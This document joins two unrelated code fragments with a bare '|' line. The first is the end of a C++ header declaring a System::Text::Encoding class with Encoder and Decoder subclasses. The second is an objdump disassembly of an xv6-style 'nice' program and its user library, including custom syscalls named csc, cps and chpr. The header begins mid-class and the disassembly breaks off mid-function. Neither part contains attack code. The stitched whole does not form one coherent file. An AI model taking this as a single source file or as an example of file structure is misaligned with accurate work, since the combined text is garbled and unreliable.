/// @exception System::ArgumentNullException bytes is null.
/// @exception System::ArgumentOutOfRangeException index or count is less than zero. -or- index and count do not denote a valid range in bytes.
String GetString(const byte bytes[], int32 bytesSize, int32 index, int32 count) const;
/// @brief Gets a value indicating whether the current encoding is always normalized, using the default normalization form.
/// @return true if the current System::Text::Encoding is always normalized; otherwise, false. The default is false.
bool IsAlwaysNormalized() const;
/// @brief Returns a String that represents the current object.
/// @return a String that represents the current object.
virtual String ToString() const override;
/// @brief Initializes a new instance of the System::Text::Encoding class that corresponds to a copy of the specified encoding.
/// @param encoding The encoding from which the copy is created.
/// @exception System::ArgumentNullException encoding is null.
Encoding(const Encoding& encoding);
class Encoder abstract_ {
public:
Encoder() { }
Encoder(const Encoder&) { }
virtual ~Encoder() { }
Encoder& operator=(const Encoder&);
/// @brief Calculates the number of bytes needed to encode a given code point.
/// @param c The given code point.
/// @return The number of bytes needed to encode this code point.
virtual int32 GetNbBytes(char32 c) const = 0;
/// @brief Encodes the given code point into a sequence of bytes.
/// @param c The given code point.
/// @param bytes The destination buffer receiving the encoded bytes.
virtual void Encode(char32 c, byte* bytes) const = 0;
virtual String ToString() const = 0;
};
class Decoder abstract_ {
public:
Decoder();
Decoder(const Decoder& cpb);
virtual ~Decoder();
Decoder& operator=(const Decoder& b);
/// @brief Adds a new byte to the current sequence of encoded bytes.
/// @param b The byte to add.
virtual void Add(byte b);
/// @brief Clears the current sequence of encoded bytes.
virtual void Reset();
/// @brief Tells if the current sequence of encoded bytes defines a code point.
/// @return True if the code point is defined, false otherwise.
bool CodePointDefined() { return finished; };
/// @brief Gets the code point defined by the current sequence of encoded bytes.
/// @return The defined code point.
char32 CodePoint() const { return codePoint; }
virtual String ToString() const = 0;
protected:
byte bytes[4];
int32 count;
bool finished;
char32 codePoint;
};
//todo
virtual refptr<Decoder> CreateDecoder() const = 0;
virtual refptr<Encoder> CreateEncoder() const = 0;
protected:
/// @brief Initializes a new instance of the System::Text::Encoding class.
Encoding();
/// @brief Initializes a new instance of the System::Text::Encoding class that corresponds to the specified code page.
/// @param codePage The code page identifier of the preferred encoding.
/// @exception System::ArgumentOutOfRangeException codePage is less than zero.
Encoding(int32 codePage);
/// @brief Changes the current instance to match the one given as argument.
/// @param encoding The source encoding.
/// @exception System::ArgumentNullException encoding is null.
virtual Encoding& operator=(const Encoding& encoding);
/// @cond
void ValidateGBC(int32 charsLength, int32 index, int32 count) const;
void ValidateGCC(int32 bytesLength, int32 index, int32 count) const;
void ValidateGC(int32 bytesLength, int32 byteIndex, int32 byteCount, int32 charsLength, int32 charIndex) const;
int32 codePage;
private:
static void InitCodePages();
static refptr< System::Collections::Generic::Dictionary<int32, String>> names;
static refptr< System::Collections::Generic::Dictionary<String, int32>> codePagesFromName;
static refptr< System::Collections::Generic::Dictionary<int32, String>> displayNames;
/// @endcond
};
}
}
}
using namespace Switch;
|
_nice: formato del fichero elf32-i386
Desensamblado de la sección .text:
00000000 <main>:
#include "user.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
int priority, pid;
if(argc < 3){
13: 83 39 02 cmpl $0x2,(%ecx)
{
16: 8b 59 04 mov 0x4(%ecx),%ebx
if(argc < 3){
19: 7f 13 jg 2e <main+0x2e>
printf(2, "usage: nice pid priority\n");
1b: 50 push %eax
1c: 50 push %eax
1d: 68 88 07 00 00 push $0x788
22: 6a 02 push $0x2
24: e8 07 04 00 00 call 430 <printf>
exit();
29: e8 a4 02 00 00 call 2d2 <exit>
}
pid = atoi(argv[1]);
2e: 83 ec 0c sub $0xc,%esp
31: ff 73 04 pushl 0x4(%ebx)
34: e8 27 02 00 00 call 260 <atoi>
39: 89 c6 mov %eax,%esi
priority = atoi (argv[2]);
3b: 58 pop %eax
3c: ff 73 08 pushl 0x8(%ebx)
3f: e8 1c 02 00 00 call 260 <atoi>
if(priority < 0 || priority > 20){
44: 83 c4 10 add $0x10,%esp
47: 83 f8 14 cmp $0x14,%eax
priority = atoi (argv[2]);
4a: 89 c3 mov %eax,%ebx
if(priority < 0 || priority > 20){
4c: 76 13 jbe 61 <main+0x61>
printf(2, "invalid priority (0-20)!\n");
4e: 51 push %ecx
4f: 51 push %ecx
50: 68 a2 07 00 00 push $0x7a2
55: 6a 02 push $0x2
57: e8 d4 03 00 00 call 430 <printf>
exit();
5c: e8 71 02 00 00 call 2d2 <exit>
}
printf(1, "pid=%d, pr=%d\n", pid, priority);
61: 50 push %eax
62: 56 push %esi
63: 68 bc 07 00 00 push $0x7bc
68: 6a 01 push $0x1
6a: e8 c1 03 00 00 call 430 <printf>
chpr(pid, priority);
6f: 58 pop %eax
70: 5a pop %edx
71: 53 push %ebx
72: 56 push %esi
73: e8 0a 03 00 00 call 382 <chpr>
exit();
78: e8 55 02 00 00 call 2d2 <exit>
7d: 66 90 xchg %ax,%ax
7f: 90 nop
00000080 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 53 push %ebx
84: 8b 45 08 mov 0x8(%ebp),%eax
87: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
8a: 89 c2 mov %eax,%edx
8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
90: 83 c1 01 add $0x1,%ecx
93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
97: 83 c2 01 add $0x1,%edx
9a: 84 db test %bl,%bl
9c: 88 5a ff mov %bl,-0x1(%edx)
9f: 75 ef jne 90 <strcpy+0x10>
;
return os;
}
a1: 5b pop %ebx
a2: 5d pop %ebp
a3: c3 ret
a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 53 push %ebx
b4: 8b 55 08 mov 0x8(%ebp),%edx
b7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
ba: 0f b6 02 movzbl (%edx),%eax
bd: 0f b6 19 movzbl (%ecx),%ebx
c0: 84 c0 test %al,%al
c2: 75 1c jne e0 <strcmp+0x30>
c4: eb 2a jmp f0 <strcmp+0x40>
c6: 8d 76 00 lea 0x0(%esi),%esi
c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
d0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
d3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
d6: 83 c1 01 add $0x1,%ecx
d9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
dc: 84 c0 test %al,%al
de: 74 10 je f0 <strcmp+0x40>
e0: 38 d8 cmp %bl,%al
e2: 74 ec je d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
e4: 29 d8 sub %ebx,%eax
}
e6: 5b pop %ebx
e7: 5d pop %ebp
e8: c3 ret
e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
f2: 29 d8 sub %ebx,%eax
}
f4: 5b pop %ebx
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strlen>:
uint
strlen(char *s)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
106: 80 39 00 cmpb $0x0,(%ecx)
109: 74 15 je 120 <strlen+0x20>
10b: 31 d2 xor %edx,%edx
10d: 8d 76 00 lea 0x0(%esi),%esi
110: 83 c2 01 add $0x1,%edx
113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
117: 89 d0 mov %edx,%eax
119: 75 f5 jne 110 <strlen+0x10>
;
return n;
}
11b: 5d pop %ebp
11c: c3 ret
11d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
120: 31 c0 xor %eax,%eax
}
122: 5d pop %ebp
123: c3 ret
124: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
12a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000130 <memset>:
void*
memset(void *dst, int c, uint n)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
137: 8b 4d 10 mov 0x10(%ebp),%ecx
13a: 8b 45 0c mov 0xc(%ebp),%eax
13d: 89 d7 mov %edx,%edi
13f: fc cld
140: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
142: 89 d0 mov %edx,%eax
144: 5f pop %edi
145: 5d pop %ebp
146: c3 ret
147: 89 f6 mov %esi,%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <strchr>:
char*
strchr(const char *s, char c)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
15a: 0f b6 10 movzbl (%eax),%edx
15d: 84 d2 test %dl,%dl
15f: 74 1d je 17e <strchr+0x2e>
if(*s == c)
161: 38 d3 cmp %dl,%bl
163: 89 d9 mov %ebx,%ecx
165: 75 0d jne 174 <strchr+0x24>
167: eb 17 jmp 180 <strchr+0x30>
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
170: 38 ca cmp %cl,%dl
172: 74 0c je 180 <strchr+0x30>
for(; *s; s++)
174: 83 c0 01 add $0x1,%eax
177: 0f b6 10 movzbl (%eax),%edx
17a: 84 d2 test %dl,%dl
17c: 75 f2 jne 170 <strchr+0x20>
return (char*)s;
return 0;
17e: 31 c0 xor %eax,%eax
}
180: 5b pop %ebx
181: 5d pop %ebp
182: c3 ret
183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000190 <gets>:
char*
gets(char *buf, int max)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 56 push %esi
195: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
196: 31 f6 xor %esi,%esi
198: 89 f3 mov %esi,%ebx
{
19a: 83 ec 1c sub $0x1c,%esp
19d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1a0: eb 2f jmp 1d1 <gets+0x41>
1a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1a8: 8d 45 e7 lea -0x19(%ebp),%eax
1ab: 83 ec 04 sub $0x4,%esp
1ae: 6a 01 push $0x1
1b0: 50 push %eax
1b1: 6a 00 push $0x0
1b3: e8 32 01 00 00 call 2ea <read>
if(cc < 1)
1b8: 83 c4 10 add $0x10,%esp
1bb: 85 c0 test %eax,%eax
1bd: 7e 1c jle 1db <gets+0x4b>
break;
buf[i++] = c;
1bf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1c3: 83 c7 01 add $0x1,%edi
1c6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1c9: 3c 0a cmp $0xa,%al
1cb: 74 23 je 1f0 <gets+0x60>
1cd: 3c 0d cmp $0xd,%al
1cf: 74 1f je 1f0 <gets+0x60>
for(i=0; i+1 < max; ){
1d1: 83 c3 01 add $0x1,%ebx
1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1d7: 89 fe mov %edi,%esi
1d9: 7c cd jl 1a8 <gets+0x18>
1db: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1dd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1e0: c6 03 00 movb $0x0,(%ebx)
}
1e3: 8d 65 f4 lea -0xc(%ebp),%esp
1e6: 5b pop %ebx
1e7: 5e pop %esi
1e8: 5f pop %edi
1e9: 5d pop %ebp
1ea: c3 ret
1eb: 90 nop
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 8b 75 08 mov 0x8(%ebp),%esi
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 01 de add %ebx,%esi
1f8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1fa: c6 03 00 movb $0x0,(%ebx)
}
1fd: 8d 65 f4 lea -0xc(%ebp),%esp
200: 5b pop %ebx
201: 5e pop %esi
202: 5f pop %edi
203: 5d pop %ebp
204: c3 ret
205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <stat>:
int
stat(char *n, struct stat *st)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 56 push %esi
214: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
215: 83 ec 08 sub $0x8,%esp
218: 6a 00 push $0x0
21a: ff 75 08 pushl 0x8(%ebp)
21d: e8 f0 00 00 00 call 312 <open>
if(fd < 0)
222: 83 c4 10 add $0x10,%esp
225: 85 c0 test %eax,%eax
227: 78 27 js 250 <stat+0x40>
return -1;
r = fstat(fd, st);
229: 83 ec 08 sub $0x8,%esp
22c: ff 75 0c pushl 0xc(%ebp)
22f: 89 c3 mov %eax,%ebx
231: 50 push %eax
232: e8 f3 00 00 00 call 32a <fstat>
close(fd);
237: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
23a: 89 c6 mov %eax,%esi
close(fd);
23c: e8 b9 00 00 00 call 2fa <close>
return r;
241: 83 c4 10 add $0x10,%esp
}
244: 8d 65 f8 lea -0x8(%ebp),%esp
247: 89 f0 mov %esi,%eax
249: 5b pop %ebx
24a: 5e pop %esi
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
250: be ff ff ff ff mov $0xffffffff,%esi
255: eb ed jmp 244 <stat+0x34>
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <atoi>:
int
atoi(const char *s)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 53 push %ebx
264: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
267: 0f be 11 movsbl (%ecx),%edx
26a: 8d 42 d0 lea -0x30(%edx),%eax
26d: 3c 09 cmp $0x9,%al
n = 0;
26f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
274: 77 1f ja 295 <atoi+0x35>
276: 8d 76 00 lea 0x0(%esi),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
280: 8d 04 80 lea (%eax,%eax,4),%eax
283: 83 c1 01 add $0x1,%ecx
286: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
28a: 0f be 11 movsbl (%ecx),%edx
28d: 8d 5a d0 lea -0x30(%edx),%ebx
290: 80 fb 09 cmp $0x9,%bl
293: 76 eb jbe 280 <atoi+0x20>
return n;
}
295: 5b pop %ebx
296: 5d pop %ebp
297: c3 ret
298: 90 nop
299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000002a0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 56 push %esi
2a4: 53 push %ebx
2a5: 8b 5d 10 mov 0x10(%ebp),%ebx
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2ae: 85 db test %ebx,%ebx
2b0: 7e 14 jle 2c6 <memmove+0x26>
2b2: 31 d2 xor %edx,%edx
2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2bc: 88 0c 10 mov %cl,(%eax,%edx,1)
2bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2c2: 39 d3 cmp %edx,%ebx
2c4: 75 f2 jne 2b8 <memmove+0x18>
return vdst;
}
2c6: 5b pop %ebx
2c7: 5e pop %esi
2c8: 5d pop %ebp
2c9: c3 ret
000002ca <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ca: b8 01 00 00 00 mov $0x1,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <exit>:
SYSCALL(exit)
2d2: b8 02 00 00 00 mov $0x2,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <wait>:
SYSCALL(wait)
2da: b8 03 00 00 00 mov $0x3,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <pipe>:
SYSCALL(pipe)
2e2: b8 04 00 00 00 mov $0x4,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <read>:
SYSCALL(read)
2ea: b8 05 00 00 00 mov $0x5,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <write>:
SYSCALL(write)
2f2: b8 10 00 00 00 mov $0x10,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <close>:
SYSCALL(close)
2fa: b8 15 00 00 00 mov $0x15,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <kill>:
SYSCALL(kill)
302: b8 06 00 00 00 mov $0x6,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <exec>:
SYSCALL(exec)
30a: b8 07 00 00 00 mov $0x7,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <open>:
SYSCALL(open)
312: b8 0f 00 00 00 mov $0xf,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mknod>:
SYSCALL(mknod)
31a: b8 11 00 00 00 mov $0x11,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <unlink>:
SYSCALL(unlink)
322: b8 12 00 00 00 mov $0x12,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <fstat>:
SYSCALL(fstat)
32a: b8 08 00 00 00 mov $0x8,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <link>:
SYSCALL(link)
332: b8 13 00 00 00 mov $0x13,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <mkdir>:
SYSCALL(mkdir)
33a: b8 14 00 00 00 mov $0x14,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <chdir>:
SYSCALL(chdir)
342: b8 09 00 00 00 mov $0x9,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <dup>:
SYSCALL(dup)
34a: b8 0a 00 00 00 mov $0xa,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <getpid>:
SYSCALL(getpid)
352: b8 0b 00 00 00 mov $0xb,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <sbrk>:
SYSCALL(sbrk)
35a: b8 0c 00 00 00 mov $0xc,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <sleep>:
SYSCALL(sleep)
362: b8 0d 00 00 00 mov $0xd,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <uptime>:
SYSCALL(uptime)
36a: b8 0e 00 00 00 mov $0xe,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <csc>:
SYSCALL(csc)
372: b8 16 00 00 00 mov $0x16,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <cps>:
SYSCALL(cps)
37a: b8 17 00 00 00 mov $0x17,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <chpr>:
SYSCALL(chpr)
382: b8 18 00 00 00 mov $0x18,%eax
387: cd 40 int $0x40
389: c3 ret
38a: 66 90 xchg %ax,%ax
38c: 66 90 xchg %ax,%ax
38e: 66 90 xchg %ax,%ax
00000390 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 57 push %edi
394: 56 push %esi
395: 53 push %ebx
396: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
399: 85 d2 test %edx,%edx
{
39b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
39e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
3a0: 79 76 jns 418 <printint+0x88>
3a2: f6 45 08 01 testb $0x1,0x8(%ebp)
3a6: 74 70 je 418 <printint+0x88>
x = -xx;
3a8: f7 d8 neg %eax
neg = 1;
3aa: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
3b1: 31 f6 xor %esi,%esi
3b3: 8d 5d d7 lea -0x29(%ebp),%ebx
3b6: eb 0a jmp 3c2 <printint+0x32>
3b8: 90 nop
3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
3c0: 89 fe mov %edi,%esi
3c2: 31 d2 xor %edx,%edx
3c4: 8d 7e 01 lea 0x1(%esi),%edi
3c7: f7 f1 div %ecx
3c9: 0f b6 92 d4 07 00 00 movzbl 0x7d4(%edx),%edx
}while((x /= base) != 0);
3d0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3d2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3d5: 75 e9 jne 3c0 <printint+0x30>
if(neg)
3d7: 8b 45 c4 mov -0x3c(%ebp),%eax
3da: 85 c0 test %eax,%eax
3dc: 74 08 je 3e6 <printint+0x56>
buf[i++] = '-';
3de: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3e3: 8d 7e 02 lea 0x2(%esi),%edi
3e6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ea: 8b 7d c0 mov -0x40(%ebp),%edi
3ed: 8d 76 00 lea 0x0(%esi),%esi
3f0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3f3: 83 ec 04 sub $0x4,%esp
3f6: 83 ee 01 sub $0x1,%esi
3f9: 6a 01 push $0x1
3fb: 53 push %ebx
3fc: 57 push %edi
3fd: 88 45 d7 mov %al,-0x29(%ebp)
400: e8 ed fe ff ff call 2f2 <write>
while(--i >= 0)
405: 83 c4 10 add $0x10,%esp
408: 39 de cmp %ebx,%esi
40a: 75 e4 jne 3f0 <printint+0x60>
putc(fd, buf[i]);
}
40c: 8d 65 f4 lea -0xc(%ebp),%esp
40f: 5b pop %ebx
410: 5e pop %esi
411: 5f pop %edi
412: 5d pop %ebp
413: c3 ret
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
418: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
41f: eb 90 jmp 3b1 <printint+0x21>
421: eb 0d jmp 430 <printf>
423: 90 nop
424: 90 nop
425: 90 nop
426: 90 nop
427: 90 nop
428: 90 nop
429: 90 nop
42a: 90 nop
42b: 90 nop
42c: 90 nop
42d: 90 nop
42e: 90 nop
42f: 90 nop
00000430 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
436: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
439: 8b 75 0c mov 0xc(%ebp),%esi
43c: 0f b6 1e movzbl (%esi),%ebx
43f: 84 db test %bl,%bl
441: 0f 84 b3 00 00 00 je 4fa <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
447: 8d 45 10 lea 0x10(%ebp),%eax
44a: 83 c6 01 add $0x1,%esi
state = 0;
44d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
44f: 89 45 d4 mov %eax,-0x2c(%ebp)
452: eb 2f jmp 483 <printf+0x53>
454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
458: 83 f8 25 cmp $0x25,%eax
45b: 0f 84 a7 00 00 00 je 508 <printf+0xd8>
write(fd, &c, 1);
461: 8d 45 e2 lea -0x1e(%ebp),%eax
464: 83 ec 04 sub $0x4,%esp
467: 88 5d e2 mov %bl,-0x1e(%ebp)
46a: 6a 01 push $0x1
46c: 50 push %eax
46d: ff 75 08 pushl 0x8(%ebp)
470: e8 7d fe ff ff call 2f2 <write>
475: 83 c4 10 add $0x10,%esp
478: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
47b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
47f: 84 db test %bl,%bl
481: 74 77 je 4fa <printf+0xca>
if(state == 0){
483: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
485: 0f be cb movsbl %bl,%ecx
488: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
48b: 74 cb je 458 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
48d: 83 ff 25 cmp $0x25,%edi
490: 75 e6 jne 478 <printf+0x48>
if(c == 'd'){
492: 83 f8 64 cmp $0x64,%eax
495: 0f 84 05 01 00 00 je 5a0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
49b: 81 e1 f7 00 00 00 and $0xf7,%ecx
4a1: 83 f9 70 cmp $0x70,%ecx
4a4: 74 72 je 518 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4a6: 83 f8 73 cmp $0x73,%eax
4a9: 0f 84 99 00 00 00 je 548 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4af: 83 f8 63 cmp $0x63,%eax
4b2: 0f 84 08 01 00 00 je 5c0 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4b8: 83 f8 25 cmp $0x25,%eax
4bb: 0f 84 ef 00 00 00 je 5b0 <printf+0x180>
write(fd, &c, 1);
4c1: 8d 45 e7 lea -0x19(%ebp),%eax
4c4: 83 ec 04 sub $0x4,%esp
4c7: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4cb: 6a 01 push $0x1
4cd: 50 push %eax
4ce: ff 75 08 pushl 0x8(%ebp)
4d1: e8 1c fe ff ff call 2f2 <write>
4d6: 83 c4 0c add $0xc,%esp
4d9: 8d 45 e6 lea -0x1a(%ebp),%eax
4dc: 88 5d e6 mov %bl,-0x1a(%ebp)
4df: 6a 01 push $0x1
4e1: 50 push %eax
4e2: ff 75 08 pushl 0x8(%ebp)
4e5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4e8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ea: e8 03 fe ff ff call 2f2 <write>
for(i = 0; fmt[i]; i++){
4ef: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4f3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4f6: 84 db test %bl,%bl
4f8: 75 89 jne 483 <printf+0x53>
}
}
}
4fa: 8d 65 f4 lea -0xc(%ebp),%esp
4fd: 5b pop %ebx
4fe: 5e pop %esi
4ff: 5f pop %edi
500: 5d pop %ebp
501: c3 ret
502: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
508: bf 25 00 00 00 mov $0x25,%edi
50d: e9 66 ff ff ff jmp 478 <printf+0x48>
512: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
518: 83 ec 0c sub $0xc,%esp
51b: b9 10 00 00 00 mov $0x10,%ecx
520: 6a 00 push $0x0
522: 8b 7d d4 mov -0x2c(%ebp),%edi
525: 8b 45 08 mov 0x8(%ebp),%eax
528: 8b 17 mov (%edi),%edx
52a: e8 61 fe ff ff call 390 <printint>
ap++;
52f: 89 f8 mov %edi,%eax
531: 83 c4 10 add $0x10,%esp
state = 0;
534: 31 ff xor %edi,%edi
ap++;
536: 83 c0 04 add $0x4,%eax
539: 89 45 d4 mov %eax,-0x2c(%ebp)
53c: e9 37 ff ff ff jmp 478 <printf+0x48>
541: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
548: 8b 45 d4 mov -0x2c(%ebp),%eax
54b: 8b 08 mov (%eax),%ecx
ap++;
54d: 83 c0 04 add $0x4,%eax
550: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
553: 85 c9 test %ecx,%ecx
555: 0f 84 8e 00 00 00 je 5e9 <printf+0x1b9>
while(*s != 0){
55b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
55e: 31 ff xor %edi,%edi
s = (char*)*ap;
560: 89 cb mov %ecx,%ebx
while(*s != 0){
562: 84 c0 test %al,%al
564: 0f 84 0e ff ff ff je 478 <printf+0x48>
56a: 89 75 d0 mov %esi,-0x30(%ebp)
56d: 89 de mov %ebx,%esi
56f: 8b 5d 08 mov 0x8(%ebp),%ebx
